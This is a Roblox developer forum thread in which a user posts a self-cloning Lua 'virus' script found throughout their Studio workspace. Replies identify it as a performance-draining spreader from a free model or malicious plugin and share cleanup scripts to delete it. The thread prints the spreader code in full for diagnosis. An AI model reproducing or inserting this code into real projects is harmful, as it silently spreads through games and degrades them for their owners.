Unremovable virus

ok so uhh i lt my friend do some things on studio and when he created something he might’ve put a free model that did something very annoying.

local all = game.Workspace:GetChildren()


while true do
wait(.1)
for i = 1, #all do
local find = all[i]:FindFirstChild(script.Name)
if all[i].className == "Model" and all[i].PrimaryPart == "Head" then
eric = 1
wait(.1)
eric = 0
else if script.Name == find then
eric = 1
wait(.1)
eric = 0
else if find ~= nil then
eric = 1
wait(.1)
eric = 0
else
q = script
w = q:clone()
q = w:clone()
q.Parent = all[i]
end
end 
end
end

local sll = script.Parent:GetChildren()

for i = 1, #sll do
local finds = game.Workspace:FindFirstChild(script.Name)
sll[i].Name = script.Name
if script.Parent.className == "Model" and script.Parent.PrimaryPart == "Head" then
eric = 1 
wait(.1)
eric = 0
else if finds ~= nil then
eric = 1
wait(.1)
eric = 0
else
q = script
w = q:clone()
q = w:clone()
q.Parent = game.Workspace
end
end 
end
end 

this code appears in a localscript in almost everywhere, some places in the explorer seem to be safe such as non-humanoid models inside other models, but thats basically it. this script keeps cloning itself in the explorer whenever i delete it and by the looks of it i think its supposed to lag the game? i tried searching this up and all that came up was ‘the ultimate virus’ with this exact code inside.

2 Likes

it doesnt seem to affect gameplay much

i believe it might be a plugin

I would suggest filtering the workspace and looking for all instances of the local script to delete them. This script doesn’t seem to do anything harmless as far as I know, it just clones itself and puts it inside models. However, I still suggest removing it as it could affect performance for your game.

6 Likes

The script is very poorly structured and probably quite old as it uses deprecated stuff. It clones itself across the workspace and contains an infinite loop, probably a spreader virus intended to cause performance problems.

A script can never clone itself after being deleted outside of runtime, you most likely have malicous plugins installed.

[Edit]
This is definetly a virus, I probably have found the same exacts pastebin page you’ve found and this script is a snippet from there, also found a YouTube tutorial for making viruses with the exact same script shown in the video.

2 Likes

Why is he even your friend if he did this? This isn’t some funny joke lol. I would unfriend him and delete everything he did. Maybe install ServerDefender and un-install your plugins if they’re malicious.

2 Likes

First try…
Press, left-ctrl + left-shift + F … search for: else if finds ~= nil then
Remove all hack scripts.

If that didn’t get it…
Start tuning off plugins, working backwards from what you installed last.
It would be one you said yes to file injection.

1 Like

Woah that’s Crazy :anguished: Hope You can fix , I don’t Have any Way To fix It Since I’m not scripter

Just tryna filter The workspace and Delete all

I think maybe it was an accident.

How would this be an accident.

“Oh sorry. I accidentally slipped a virus script into your game. I’m sorry, my keyboard is acting weird and it’s typing all by itself.”

Even if it was a free model, who would insert a sus model into their friends game.

Yea, no. Not going to happen.

1 Like

ermmm

local source = "that code"
while task.wait() do

for i, v in game:GetDescendants() do if v:IsA("LocalScript") then if v.Source == source then v:Destroy() end end

end
1 Like

Many people use free models without understanding them or knowing how to code; they simply find one they like, drag and drop it into their project, and move on—often without considering the potential risks or consequences and to add to this a little more some people just dont want to take the time to make their own items/scripts ect.

4 Likes

You do realize it’s not that hard to install a plugin that appears useful on the surface but inserts things like this without them realizing, right?

This could have easily been hidden inside of a completely ordinary looking free model. not everyone is gonna be programmer who is versed enough to recognize what a bit of code is doing.

4 Likes

Copy the “virus” script somewhere to be able to reference it(disable it), then in plugin/command line run the following script:

local virus = workspace.Virus --your disabled virus script

local function check(v: Instance): ()
	--check if the instance being checked is an executable script
	if not v:IsA("Script") and not v:IsA("LocalScript") then return end 
	--avoid destroying the controlled virus script
	if v == virus then return end
	--this line requires command line/plugin priviledges
	if v.Source == virus.Source then v:Destroy() end
end

--Loop through all game services
for _, service in pairs(game:GetChildren()) do
	--Ensure a locked service wont break the script
	pcall(function()
		--Loop through all objects and ensure a locked one wont break the script
		for _, object in pairs(service:GetDescendants()) do pcall(check, object) end
		--Also check the new ones in case the virus attempts to come back
		service.DescendantAdded:Connect(check)
	end)
end

If the above code doesn’t get rid of it, it means there’s another script somewhere bringing it back(with different source code). If you’re unable to find such script, then it may be a malicious plugin. Plugins can’t run during actual gameplay(only in studio) so it injects scripts in your explorer to cause performance issues in game. I suggest checking your installed plugins by inserting them in your explorer and reading their source code looking for any weird segments of code(I think you can find them somewhere in your Roblox studio installation). Additionally if you know the conditions needed to trigger this, you can simply keep only enabling a single installed plugin, until you find the one causing it.

1 Like

These are hardly viruses… Moistly come from free models you didn’t totally go through looking for scripts like this. I’ve actually never seen one come from a plugin, however I don’t use many plugins. To add a script like this you would have to allow that plugin to inject files. If it is coming from a plugin, that should make it pretty easy to track down. Make sure to report it no matter where it came from.

1 Like

There are some good solutions here, but first, what plugins do you have?

1 Like

does you or your friend were updating/downloading any plugins recently?
It could be the reason

the guy is pretty inexperienced i dont blame him

ill send screenshots but i have alot
i havent downloaded any plugins recently though js






image
(yes i have alot of plugins sorry)

wait, i just noticed they werent reappearing, this means that its not one of my plugins, but my friend’s plugins

1 Like